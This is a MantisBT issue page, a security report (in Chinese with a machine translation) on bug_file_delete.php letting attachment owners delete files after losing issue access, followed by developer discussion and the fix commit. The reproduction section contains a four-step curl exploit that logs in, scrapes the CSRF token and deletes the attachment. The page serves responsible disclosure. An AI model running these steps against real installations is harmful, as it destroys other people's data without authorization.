View Issue Details

IDProjectCategoryView StatusLast Update
0037365mantisbtsecuritypublic2026-11-22 16:08
Reporter360Alphalab Assigned Todregad  
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version1.2.11 
Target Version2.29.0Fixed in Version2.29.0 
Summary0037365: bug_file_delete.php lets users delete their own attachments even if they can no longer access the Issue
Description

See automated translation in note 0037365:0071398 below.


bug_file_delete.php(tag release-2.28.4,commit ceb74c8)。脚本从请求参数获取 file_id,再通过 file_get_field 查出附件关联的 bug_id 和上传者 user_id:

$f_file_id = gpc_get_int( 'file_id' );

$t_bug_id = file_get_field( $f_file_id, 'bug_id' );

$t_bug = bug_get( $t_bug_id, true );
if( $t_bug->project_id != helper_get_current_project() ) {
    # in case the current project is not the same project of the bug we are viewing...
    # ... override the current project. This to avoid problems with categories and handlers lists etc.
    $g_project_override = $t_bug->project_id;
}

$t_attachment_owner = file_get_field( $f_file_id, 'user_id' );
$t_current_user_is_attachment_owner = $t_attachment_owner == auth_get_current_user_id();

下方条件判断是漏洞核心:当 allow_delete_own_attachments 为 ON 且当前用户是附件上传者时,access_ensure_bug_level() 被跳过。access_ensure_bug_level() 是 MantisBT 的 Bug 级访问控制函数,它检查用户对指定 Bug 是否拥有 delete_attachments_threshold 权限——跳过它意味着不再验证用户当前是否仍有权访问该 Bug:

if( !$t_current_user_is_attachment_owner || ( $t_current_user_is_attachment_owner && !config_get( 'allow_delete_own_attachments' ) ) ) {
    access_ensure_bug_level( config_get( 'delete_attachments_threshold' ), $t_bug_id );
}

跳过访问检查后,file_delete() 直接执行,无任何对 Bug 访问权限的兜底验证:

helper_ensure_confirmed( lang_get( 'delete_attachment_sure_msg' ), lang_get( 'delete' ) );

file_delete( $f_file_id, 'bug' );

allow_delete_own_attachments 的默认值是 OFF。在默认配置下上述 if 条件始终为 true,access_ensure_bug_level() 始终执行,漏洞不触发。只有在管理员将该项设为 ON 时,附件上传者才能绕过 Bug 访问检查删除自己的附件。

Steps To Reproduce

前提条件:管理员已将 allow_delete_own_attachments 设为 ON。

# 1. 登录 attacker 账户获取会话 cookie
curl -s -c cookies.txt -b cookies.txt \
  -d "username=attacker&password=<attacker_password>" \
  "http://<mantisbt_host>/mantisbt/login.php"

# 2. 获取 CSRF token(从 bug 详情页面获取)
TOKEN=$(curl -s -b cookies.txt "http://<mantisbt_host>/mantisbt/view.php?id=<bug_id>" \
  | grep -oP 'bug_file_delete_token" value="\K[^"]+')

# 3. 先 GET 确认页面(MantisBT 要求 helper_ensure_confirmed 确认步骤)
curl -s -b cookies.txt \
  "http://<mantisbt_host>/mantisbt/bug_file_delete.php?file_id=<attachment_file_id>&bug_id=<bug_id>"

# 4. POST 确认删除(attacker 是该附件的上传者,但已无权访问该 Bug)
curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
  -d "bug_file_delete_token=${TOKEN}" \
  -d "file_id=<attachment_file_id>" \
  -d "bug_id=<bug_id>" \
  -d "_confirmed=1" \
  "http://<mantisbt_host>/mantisbt/bug_file_delete.php"

其中 <attachment_file_id> 是 attacker 之前上传到该 Bug 的附件 ID。前提是 attacker 曾经有权访问该 Bug 并上传了附件,之后被撤销了访问权限。

预期结果:返回 HTTP 302(删除成功,重定向到 Bug 详情页)。该附件从 bug_file 表中被删除。

Additional Information

影响

当 allow_delete_own_attachments 配置为 ON 时,用户可以删除自己曾经上传的附件,即使后续已失去对该 Bug 的访问权限。这意味着一个已离开项目的用户仍可删除此前在该项目 Bug 上上传的附件文件,造成附件数据丢失。影响的范围取决于该附件的重要性——如果附件是 Bug 复现的关键日志或截图,删除它会阻碍其他团队成员的调试工作。

希望对该漏洞申请CVE编号。

TagsNo tags attached.

Relationships

related to 0034425 closedvboctor Delete attachment via REST 
related to 0036981 closeddregad SOAP Own-Attachment Delete After Issue Access Is Lost 
related to 0014016 closedatrol CVE-2012-2692 Users with access level >= update_bug_threshold can delete any attachment 

Activities

dregad

dregad

2026-09-01 05:21

developer   ~0071398

Last edited: 2026-09-01 05:23

@360Alphalab Thanks for your report.

As mentioned in 0037364, please note that nobody speaks Chinese here. In the future, kindly submit your reports in English.

Another researcher identified a similar vulnerability in the SOAP API (same problem, different code path), see 0036981.

Both code paths have recently been updated as part of resolution of 0034425. I did not test whether the refactored implementation fixes the issue, but I doubt it as the code looks very similar.

Could you please test and confirm ? The new code will soon be released as 2.29.0, and is currently available in Git Master branch (or you can download a nightly build). Look for it in core/commands/IssueFileDeleteCommand.php.

Please indicate how you would like to be credited for the finding, and provide your GitHub id so we can link it to the security advisory.

Google translation

bug_file_delete.php is used to delete bug attachments. The script obtains the attachment ID through the file_id parameter, then finds the associated bug ID, and then determines whether the current user is the uploader of the attachment and the allow_delete_own_attachments configuration item.

bug_file_delete.php (tag release-2.28.4, commit ceb74c8). The script obtains the file_id from the request parameter, and then uses file_get_field to find out the bug_id and uploader user_id associated with the attachment:

$f_file_id = gpc_get_int( 'file_id' );
$t_bug_id = file_get_field( $f_file_id, 'bug_id' );
$t_bug = bug_get( $t_bug_id, true );
if( $t_bug->project_id != helper_get_current_project() ) { 
    # in case the current project is not the same project of the bug we are viewing... 
    # ...override the current project. This to avoid problems with categories and handlers lists etc. 
    $g_project_override = $t_bug->project_id;
}

$t_attachment_owner = file_get_field( $f_file_id, 'user_id' );
$t_current_user_is_attachment_owner = $t_attachment_owner == auth_get_current_user_id();

The following conditional statement is the core of the vulnerability: when allow_delete_own_attachments is ON and the current user is the attachment uploader, access_ensure_bug_level() is skipped. access_ensure_bug_level() is MantisBT's bug-level access control function. It checks whether a user has delete_attachments_threshold permission for a specified bug—skipping it means no longer verifying whether the user still has permission to access the bug:

if( !$t_current_user_is_attachment_owner || ( $t_current_user_is_attachment_owner && !config_get( 'allow_delete_own_attachments' ) ) ) {
    access_ensure_bug_level( config_get( 'delete_attachments_threshold' ), $t_bug_id );
}

After skipping the access check, file_delete() is executed directly without any fallback verification of bug access permissions:

helper_ensure_confirmed( lang_get( `'delete_attachment_sure_msg'), lang_get('delete'));

file_delete($f_file_id, 'bug');

The default value of allow_delete_own_attachments is OFF. Under the default configuration, the above if condition is always true, access_ensure_bug_level() is always executed, and the vulnerability is not triggered. Only when the administrator sets this item to ON can the attachment uploader bypass the bug access check and delete their own attachments.

Prerequisite: The administrator has set allow_delete_own_attachments to ON.

# 1. Log in to the attacker account and obtain session cookies
curl -s -c cookies.txt -b cookies.txt \
-d "username=attacker&password=<attacker_password>" \
"http://<mantisbt_host>/mantisbt/login.php"
# 2. Obtain the CSRF token (from the bug details page)
TOKEN=$(curl -s -b cookies.txt "http://<mantisbt_host>/mantisbt/view.php?id=<bug_id>" \
| grep -oP 'bug_file_delete_token" value="\K[^"]+')
# 3. First, GET the confirmation page (MantisBT requires the helper_ensure_confirmed confirmation step)
curl -s -b cookies.txt \
"http://<mantisbt_host>/mantisbt/bug_file_delete.php?file_id=<attachment_file_id>&bug_id=<bug_id>"
# 4. POST Confirm Deletion (attacker is the uploader of the attachment, but no longer has access to the bug)
curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
-d "bug_file_delete_token=${TOKEN}" \
-d "file_id=<attachment_file_id>" \
-d "bug_id=<bug_id>" \
-d "_confirmed=1" \
"http://<mantisbt_host>/mantisbt/bug_file_delete.php"

Where <attachment_file_id> is the attachment ID previously uploaded to the bug by the attacker. This assumes the attacker previously had access to the file. A bug was reported and an attachment was uploaded, after which access was revoked.

Expected Result: HTTP 302 (Deletion successful, redirected to the bug details page). The attachment was removed from the bug_file table.

Impact

When allow_delete_own_attachments is configured to ON, users can delete attachments they have uploaded, even if they subsequently lose access to the bug. This means that a user who has left the project can still delete attachments previously uploaded to the bug, resulting in data loss. The scope of the impact depends on the importance of the attachment—if the attachment is a critical log or screenshot for bug reproduction, deleting it will hinder debugging work for other team members.

We request a CVE number for this vulnerability.

360Alphalab

360Alphalab

2026-09-02 22:18

reporter   ~0071402

Hello, after verification, we believe that the vulnerability still exists in 2.29.0.

360Alphalab

360Alphalab

2026-09-02 22:19

reporter   ~0071403

This bypass has existed since version 2.28.4 (it was when the check logic was inlined in bug_file_delete.php). On the master branch, commit 8ea22d7d2581d7a8e5bd7ae1d7159df33c4006b5 (2026-08-22, "Add issue attachment delete command") moved the same logic to IssueFileDeleteCommand, with exactly the same behavioral semantics. No further fixes were submitted after that.

dregad

dregad

2026-09-03 04:15

developer   ~0071404

Thanks for taking the time to analyze and confirm that the problem still exists in master.

dregad

dregad

2026-09-03 04:25

developer   ~0071405

Last edited: 2026-09-03 04:31

This bypass has existed since version 2.28.4 (it was when the check logic was inlined in bug_file_delete.php).

For the record, the problem is much older than 2.28.4. Looking at Git blame, the incorrect logic is actually present since 2012:

EDIT: we had 2 parallel release tracks at the time - added reference to 1.2.x branch.

dregad

dregad

2026-09-06 05:14

developer   ~0071414

Last edited: 2026-09-06 05:15

Advisory GHSA-9p8q-vwgp-hx32 created and CVE request sent.

Please review the proposed fix in the advisory's private repository, testing and feedback would be appreciated.

Related Changesets

MantisBT: master 0b504b0a

2026-09-05 12:43

dregad


Details Diff
Prevent attachment delete by owner without issue access

When $g_allow_delete_own_attachments = ON, an attachment's owner was
able to delete it even when they no longer had no access to the Issue
(e.g. if it was moved to a private project).

Adding a check in IssueFileDeleteCommand::validate() to ensure that the
user can view the Issue.

Regrouped the 2 ifs into a single conditional expression, improved the
variables' names and negated the boolean logic, to make it easier to
understand.

Fixes 0036981, 0037365, GHSA-9p8q-vwgp-hx32
Affected Issues
0036981, 0037365
mod - core/commands/IssueFileDeleteCommand.php Diff File